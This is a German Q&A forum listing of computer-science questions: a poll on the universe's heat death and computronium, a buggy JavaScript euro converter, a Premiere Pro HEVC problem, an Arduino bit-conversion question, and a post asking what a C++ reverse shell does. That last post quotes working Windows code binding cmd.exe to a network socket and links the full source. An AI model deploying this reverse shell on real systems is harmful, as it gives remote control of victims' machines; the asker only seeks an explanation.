Informatik – die neusten Beiträge

Das Ende allen Lebens im Universum - unumgänglich oder doch nicht?

Der Wärmetod ist ein von Rudolf Clausius 1867 eingeführtes Bild für den „Zustand des finalen thermischen Gleichgewichts des Universums“, aufgefasst als abgeschlossenes System.

Gemäß dem zweiten Hauptsatz der Thermodynamik enthält ein abgeschlossenes System im thermischen Gleichgewicht ein höchstmögliches Maß an Entropie. Zudem kann die Entropie in einem solchen System zwar gleich bleiben oder zunehmen, aber niemals abnehmen. Wenn die maximale Entropie erreicht ist, fehlt der Antrieb für makroskopisches Geschehen im System. Das System nähert sich einem statischen, „toten“ Zustand.

Das bedeutet, dass alles Leben im Universum irgendwann einmal erlöschen wird. Dies wird auch als der „Wärmetod des Universums“ bezeichnet. Diese Projektion in die sehr weit entfernte Zukunft wird in der Philosophie teilweise als Beweis für die Unvermeidbarkeit des Weltuntergangs angeführt.*

Entropie – die Unordnung. Der Informationsverlust.

Angenommen eine Packung Reis fällt zu Boden. Die Packung platzt auf und die Reiskörner verstreuen sich um die Packung herum auf dem Boden. Am Anfang kann ich sagen, der Reis ist in der Packung (Information). Am Ende muss ich die Position jedes Reiskorns beschreiben (Informationsverlust). Die Entropie wurde erhöht.

Ein Mensch entsteht, die Entropie wurde dadurch verringert, weil ein Mensch ein hohes Maß an Ordnung darstellt. Dazu war aber viel Energie notwendig. Die Entropie kann also verringert werden, wenn Energie investiert wird.

Computronium ist eine hypothetische Substanz, die die optimale Form eines Computing-Substrats hinsichtlich Rechenleistung und Effizienz für eine gegebene Menge an Materie darstellt.

Die Physiker Norman Margolus und Tommaso Toffoli stellten 1991 die Hypothese auf, dass Computronium als eine Art „programmierbare Materie“ verwendet werden kann, d. h. als Substrat für die Computermodellierung praktisch aller realen Objekte.

Der Zukunftsforscher Raymond Kurzweil prognostiziert, dass die Menschheit bis zum Ende des 21. Jahrhunderts dazu in der Lage sein wird, Computronium in großem Maßstab herzustellen, dessen theoretische Rohrechenleistung er auf etwa 5 × 10⁵⁰ Berechnungen in der Sekunde pro Kilogramm schätzt.

Er geht davon aus, dass nach der technologischen Singularität zunächst die Materie der Erde, der Rest des Universums in Computronium umgewandelt werden, da er ein solches universelles Computronium-Computer-Substrat für die sinnvollste Unterbringung für eine Superintelligenz hält. Kurzweil erwartet, dass das gesamte Universum in 200 Jahren (Law of Accelerating Returns) mithilfe hochintelligenter Nanobots mit Computronium gefüllt worden sein wird, wenn Wurmlöcher oder andere Mittel Reisen mit Überlichtgeschwindigkeit ermöglichen (https://www.youtube.com/watch?v=lAJkDrBCA6k). Laut ihm hätte ein solches Unterfangen das Potential dazu, das natürliche Ende des Universums zu verhindern, indem die Menschheit auf intelligente Art und Weise über die Zukunft des Universums entscheiden können wird* *Quelle:Wikipedia

unumgänglich - ja, da 41%
unsicher 41%
unumgänglich - nein, weil 17%
Computer, Religion, Zukunft, Mathematik, Politik, Wissenschaft, Universum, Astronomie, Astrophysik, Forschung, Futurologie, Informatik, Informationstechnologie, künstliche Intelligenz, Philosophie, Physik, Sinn des Lebens, Technologie, Unsterblichkeit, Singularität, Transhumanismus, Technologische Singularität, Philosophie und Gesellschaft

HTML/Javscript Euro umrechnen?

Hallo!
Ich bin momentan am verzweifeln.

Ich probiere nun schon seit 1 Stunde einen Euro Umrechner mit Javascript zu progamieren.

Zuerst hat es auch ganz gut geklappt aber als ich mehrere gleichzeitig umrechnen wollte muss ich wohl einen Fehler gemacht haben.

Kennt sich irgend jemand aus und weiß was ich falsch gemacht habe?

Ich bedanke mich schon mal im Voraus :)

Hier der Code für den Rechner der Euro in mehrere Währungen Umrechnen soll:

<html>
<head><center>
<title>Umrechnung Euro - ? </title>
<script language="JavaScript">
function Umrechnung(){



    var EUROBetrag, DMBetrag, DOLLARBetrag, KRONENBetrag;

     EUROBetrag = document.Umrechnung.EURO.value;
     DMBetrag = document.Umrechnung.DM.value;
     DOLLARBetrag = document.Umrechnung.DOLLAR.value;
     KRONENBetrag = document.Umrechnung.KRONEN.value;



    EUROBetrag = DMBetrag / 1.95583;
    EUROBetrag = DOLLARBetrag / 1,13370;
    EUROBetrag = KRONENBetrag / 7,44;

  document.Umrechnung.DM.value=DMBetrag;
  document.Umrechnung.DOLLAR.value=DOLLARBetrag;
  document.Umrechnung.KRONEN.value=KRONENBetrag;

}// Ende
</script>
</center>
</head>

<body><center>
  <br>
  Wir wollen Euro Beträge umrechnen.
<br>
<br>
<form   name="Umrechnung">

EURO   <input type="text"  size="20"  name="Euro">
<br>
<p>
<input  type="button" value="Rechne um" onclick="Umrechnung()">
<p>
DM  <input type="text"  size="20"  name="DM">
DOLLAR  <input type="text"  size="20"  name="DOLLAR">
KRONEN <input type="text"  size="20"  name="KRONEN">

<br>

</form>
</center>
</body>
</html>

Und hier der Code für den Rechner der DM in Euro umrechnen soll und funkioniert:

<html>
<head><center>
<title>Umrechnung Euro - DM </title>
<script language="JavaScript">
function EuroUmrechnung(){



    var DMBetrag, EUROBetrag;

     DMBetrag = document.Umrechnung.DM.value;



    EUROBetrag = DMBetrag / 1.95583;

  document.Umrechnung.EURO.value=EUROBetrag;


}// Ende der Funktion
</script>
</center>
</head>

<body><center>
  <br>
  Wir wollen DM- Beträge in EURO umrechnen.
<br>
<br>
<form   name="Umrechnung">

DM   <input type="text"  size="10"  name="DM">

<br>
<p>
<input  type="button" value="Rechne um" onclick="EuroUmrechnung()">

<p>
EURO   <input type="text"  size="20"  name="EURO">

</form>
</center>
</body>
</html>


Computer, HTML, JavaScript, Informatik

Premiere Pro Probleme mit HEVC?

Ich habe mit meinem IPhone 12 mini Videos gemacht und bei Google Drive hochgeladen. Dann hab ich sie auf meinem PC mit Win10 runtergeladen. Ich besitze die HEVC Videoerweiterung und kann auch normal mit Windows die Videos ansehen.

Wenn ich Premiere Pro öffne, ein neues Projekt mache und die Video per Drag & Drop hinzufüge klappt es. Ich kann sie auch ein mal normal ansehen. Wenn ich einen Clip einer Timeline hinzufüge oder damit eine erstelle kann ich den Clip da auch normal ansehen.

Wenn ich aber auf Pause mache, skippe oder irgendetwas in die Richtung lagged das Video komplett. Es wird die ganze Zeit zwischen 2 Frames gewechselt und das Bild ist komplett verbugged. Es ist niemals die Stelle an der ich gestoppt habe, sondern immer die selbe die mehr oder weniger zu sehen ist.

Das Problem lässt sich nur "beheben" indem ich alles lösche und neu starte. Aber dann funktioniert es auch nur bis ich irgendetwas mache außer es einmal anzusehen. Ich kann nicht schneiden und nichts. Und ich kann es auch nicht mehrmals ansehen.

Ich habe es mit einem Video probiert (auch MP4) das ich schon seit Jahren habe. Damit geht ausnahmslos alles. Es funktioniert wunderbar, genau wie es sein sollte.

Wie kann ich den Fehler beheben oder die Videos zu nicht HEVC konvertieren? Sie sind fast alle größer als 100MB

Apple, Computer, Video, Kamera, Film, Google, Adobe, Technik, Videobearbeitung, Informatik, Premiere Pro, Schnittprogramm

Arduino integer mit binärem Wert in decimal umwandeln?

// Probleme wurden gelöst. Teil des Problems war dass ich den Chip außversehen nach dem umprogrammieren eine Reihe zu weit nach Oben gemacht habe... Leichtsinnsfehler... :)

Hallo. Bin gerade an einem Projekt bei dem ich LED's mit einem 8Bit shift register zum leuchten bringen will.

1 bedeutet leuchten und 0 bedeutet aus.

Jetzt will ich einen Wert wie "10000001" angeben können und die LED's werden direkt so eingeschalten wie es im int aussieht.

Gerade im Moment probiere ich es so zu lösen dass ich der ShiftOut Funktion den decimalen Wert gebe welche diese dann wieder in decimal umwandelt und raus schiebt:

  int bits = 10000001;

  digitalWrite(latchPin, LOW);
  //Binary to decimal Versuch
  int decimal =
  (((bits / 10000000U) % 10) * 128)
  + (((bits / 1000000U) % 10) * 64)
  + (((bits / 100000U) % 10) * 32)
  + (((bits / 10000U) % 10) * 16)
  + (((bits / 1000U) % 10) * 8)
  + (((bits / 100U) % 10) *4)
  + (((bits / 10U) % 10) *2)
  + ((bits / 1U) % 10);

  shiftOut(dataPin, clockPin, MSBFIRST, decimal);

  digitalWrite(latchPin, HIGH);

Ich bin mir sicher dass man das wesentlich effizienter und schlauer lösen kann. Unter anderem funktioniert mein Code nicht mal... wenn ich ihn laufen lasse sind die LED's volgendermaßen angeschaltet: "00010000"...

Würde mich über Hilfe freuen und danke schon mal im Vorraus.

Liebe Grüße, Leo

Bild zum Beitrag
Computer, Technik, Programm, programmieren, Arduino, Code, Informatik, Technologie, binär, Integer, Spiele und Gaming

Was bedeutet dieser Code grob - Reverse Shell?

Tach, ich habe mir aus langeweile den Code einer Reverse Shell in c++ angesehen und ich frage mich was folgender Code bedeutet. Ich verstehe nur einzelne Teile und ich würde gerne eine grobe Erklärung bekommen, was der Code tut. (vollen Code auf https://github.com/dev-frog/C-Reverse-Shell/blob/master/re.cpp)

if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
	            closesocket(mySocket);
	            WSACleanup();
	            continue;
	        }
	        else {
	            char RecvData[DEFAULT_BUFLEN];
	            memset(RecvData, 0, sizeof(RecvData));
	            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	            if (RecvCode <= 0) {
	                closesocket(mySocket);
	                WSACleanup();
	                continue;
	            }
	            else {
	                char Process[] = "cmd.exe";
	                STARTUPINFO sinfo;
	                PROCESS_INFORMATION pinfo;
	                memset(&sinfo, 0, sizeof(sinfo));
	                sinfo.cb = sizeof(sinfo);
	                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
	                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
	                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
	                WaitForSingleObject(pinfo.hProcess, INFINITE);
	                CloseHandle(pinfo.hProcess);
	                CloseHandle(pinfo.hThread);
	

	                memset(RecvData, 0, sizeof(RecvData));
	                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	                if (RecvCode <= 0) {
	                    closesocket(mySocket);
	                    WSACleanup();
	                    continue;
	                }
	                if (strcmp(RecvData, "exit\n") == 0) {
	                    exit(0);
	                }
	            }
Computer, IT, programmieren, Hacking, Informatik, Shell, C (Programmiersprache)

Meistgelesene Beiträge zum Thema Informatik